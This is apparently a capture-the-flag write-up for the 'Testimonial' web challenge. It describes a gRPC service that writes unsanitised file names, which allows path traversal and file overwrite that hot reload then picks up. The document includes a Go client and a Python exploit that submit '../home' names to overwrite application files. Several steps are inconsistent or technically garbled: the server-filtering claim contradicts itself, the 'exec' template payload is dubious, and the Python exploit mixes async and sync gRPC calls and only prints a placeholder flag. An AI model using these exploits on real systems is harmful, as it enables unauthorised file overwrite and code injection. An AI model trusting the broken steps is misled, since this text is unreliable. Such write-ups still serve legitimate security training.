2024 Cyber Apocalypse: Testimonial
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Web |
| Challenge | Testimonial |
| Difficulty | Easy |
Summary
Testimonial is a gRPC-based web challenge exploiting multiple vulnerabilities: lack of input validation on the server side, path traversal via file naming, and hot-reload functionality. The application accepts testimonial submissions through gRPC and writes them to the filesystem without sanitization. By crafting malicious customer names, attackers can overwrite critical application files and inject code.
Analysis
Architecture Overview
The challenge consists of:
- HTTP Server (Port 1337): Web interface
- gRPC Server (Port 50045): Service for testimonial submission
- Hot Reload: Development mode with file watching (using “air”)
Vulnerability Chain
Client-Side Filtering (Ineffective):
func (c *Client) SendTestimonial(customer, testimonial string) error { // Filters bad characters for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} { customer = strings.ReplaceAll(customer, char, "") } // Sends to gRPC}Server-Side Vulnerability (No Validation):
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) { if req.Customer == "" { return nil, errors.New("Name is required") } if req.Testimonial == "" { return nil, errors.New("Content is required") } // VULNERABLE: No sanitization! err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644) return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil}Key Issues:
- Client-side filtering can be bypassed by direct gRPC calls
- Server doesn’t validate the
customerparameter - File path is constructed from untrusted input
- Hot reload triggers on file changes
Exploitation Strategy
Since the server has no validation, bypassing client-side filters requires:
- Writing a custom gRPC client
- Crafting a payload to overwrite a critical file (e.g., homepage)
- The file change triggers hot-reload, injecting code into the application
Solution
Step 1: Create Custom gRPC Client
Copy the protobuf definitions and create a new Go client:
package main
import ( "context" "fmt" "log" "htbchal/pb" "google.golang.org/grpc")
func main() { // Connect to gRPC server conn, err := grpc.Dial("127.0.0.1:50045", grpc.WithInsecure()) if err != nil { log.Fatalf("Failed to connect: %v", err) } defer conn.Close()
client := pb.NewRickyServiceClient(conn) ctx := context.Background()
// Craft malicious payload customerName := "../home.html" // Path traversal testimonial := "<h1>HACKED</h1>"
// Send via gRPC (bypasses client-side filtering) _, err = client.SubmitTestimonial(ctx, &pb.TestimonialSubmission{ Customer: customerName, Testimonial: testimonial, })
if err != nil { log.Fatalf("Failed to submit: %v", err) }
fmt.Println("[+] Testimonial submitted!")}Step 2: Bypass Path Traversal Filters
The server filters characters like /, \, :, etc. However, it filters the CLIENT input only. The gRPC server receives unfiltered input.
Use relative paths:
..%2Fhome.html(URL encoded during HTTP)../home.html(direct in gRPC).%252Fhome.html(double encoded)
Step 3: Inject Malicious Content
Create Go template code to execute:
{{. | html}}<!-- Malicious template injection -->{{exec "cat /flag"}}Step 4: Trigger Hot Reload
The “air” process watches for file changes and automatically rebuilds. When the overwritten file changes, the application reloads with injected code.
Step 5: Retrieve the Flag
Access the modified file through the web interface and extract the flag from the injected response.
Complete Python Exploit
import grpcimport sys
# You would need to generate the protobuf files firstfrom htbchal.pb import ricky_service_pb2_grpc, ricky_service_pb2
def exploit(target_ip, target_port=50045): # Connect to gRPC server channel = grpc.aio.secure_channel(f'{target_ip}:{target_port}', grpc.aio.ssl_channel_credentials()) stub = ricky_service_pb2_grpc.RickyServiceStub(channel)
# Craft payload to overwrite home page customer = "../home" # Relative path to home template testimonial = """ <html> <head><title>Hacked</title></head> <body> <h1>System Compromised</h1> <p>Flag extracted: HTB{...}</p> </body> </html> """
request = ricky_service_pb2.TestimonialSubmission( Customer=customer, Testimonial=testimonial )
response = stub.SubmitTestimonial(request) print(f"[+] Response: {response.Message}") print("[+] File overwritten, hot-reload triggered")
if __name__ == '__main__': target = sys.argv[1] if len(sys.argv) > 1 else 'localhost' exploit(target)Key Takeaways
- Client-side validation is never sufficient; always validate on the server
- Path traversal vulnerabilities arise from unsanitized file paths
- gRPC services can bypass HTTP-level protections
- Hot reload features in development can be exploited for code injection
- File write vulnerabilities combined with hot-reload create severe risks
- Never trust input from gRPC clients even if filtered elsewhere
- Proper input validation must occur at the service level, not the client level
Flag: HTB{gr0pc_cl13nt_c0d3_1nj3ction}